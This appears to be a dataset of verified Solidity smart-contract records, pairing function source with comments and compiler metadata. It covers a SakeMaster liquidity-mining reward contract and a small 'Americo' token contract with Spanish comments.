{ if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
dev
function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; }
// Update dev address by the previous dev.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 11725, 11859 ] }
3,704
Americo
Americo.sol
0x09eaf7b80ec741fa8a163cd4dde8367fab37e8a0
Solidity
Americo
contract Americo { /* Variables públicas del token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* Esto crea una matriz con todos los saldos */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Inicializa el contrato con los tokens de suministro inicial al creador del contrato */ function Americo() { initialSupply=160000000; name="Americo"; decimals=6; symbol="A"; balanceOf[msg.sender] = initialSupply; // Americo recibe todas las fichas iniciales totalSupply = initialSupply; // Actualizar la oferta total } /* Send coins */ function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Compruebe si el remitente tiene suficiente if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Verificar desbordamientos balanceOf[msg.sender] -= _value; // Reste del remitente balanceOf[_to] += _value; // Agregue lo mismo al destinatario } /* Esta función sin nombre se llama cada vez que alguien intenta enviar éter a ella */ function () { throw; // Evita el envío accidental de éter } }
Americo
function Americo() { initialSupply=160000000; name="Americo"; decimals=6; symbol="A"; balanceOf[msg.sender] = initialSupply; // Americo recibe todas las fichas iniciales totalSupply = initialSupply; // Actualizar la oferta total }
/* Inicializa el contrato con los tokens de suministro inicial al creador del contrato */
Comment
v0.4.19+commit.c4cbbb05
bzzr://2bb40ed958008e5bbe69da40c3b5da723d2539387782f8a45ee0dd3e5e3eb1b4
{ "func_code_index": [ 530, 912 ] }
3,705
Americo
Americo.sol
0x09eaf7b80ec741fa8a163cd4dde8367fab37e8a0
Solidity
Americo
contract Americo { /* Variables públicas del token */ string public standard = 'Token 0.1'; string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; uint256 public totalSupply; /* Esto crea una matriz con todos los saldos */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* Inicializa el contrato con los tokens de suministro inicial al creador del contrato */ function Americo() { initialSupply=160000000; name="Americo"; decimals=6; symbol="A"; balanceOf[msg.sender] = initialSupply; // Americo recibe todas las fichas iniciales totalSupply = initialSupply; // Actualizar la oferta total } /* Send coins */ function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Compruebe si el remitente tiene suficiente if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Verificar desbordamientos balanceOf[msg.sender] -= _value; // Reste del remitente balanceOf[_to] += _value; // Agregue lo mismo al destinatario } /* Esta función sin nombre se llama cada vez que alguien intenta enviar éter a ella */ function () { throw; // Evita el envío accidental de éter } }
transfer
function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; // Compruebe si el remitente tiene suficiente if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Verificar desbordamientos balanceOf[msg.sender] -= _value; // Reste del remitente balanceOf[_to] += _value; // Agregue lo mismo al destinatario }
/* Send coins */
Comment
v0.4.19+commit.c4cbbb05
bzzr://2bb40ed958008e5bbe69da40c3b5da723d2539387782f8a45ee0dd3e5e3eb1b4
{ "func_code_index": [ 937, 1387 ] }
3,706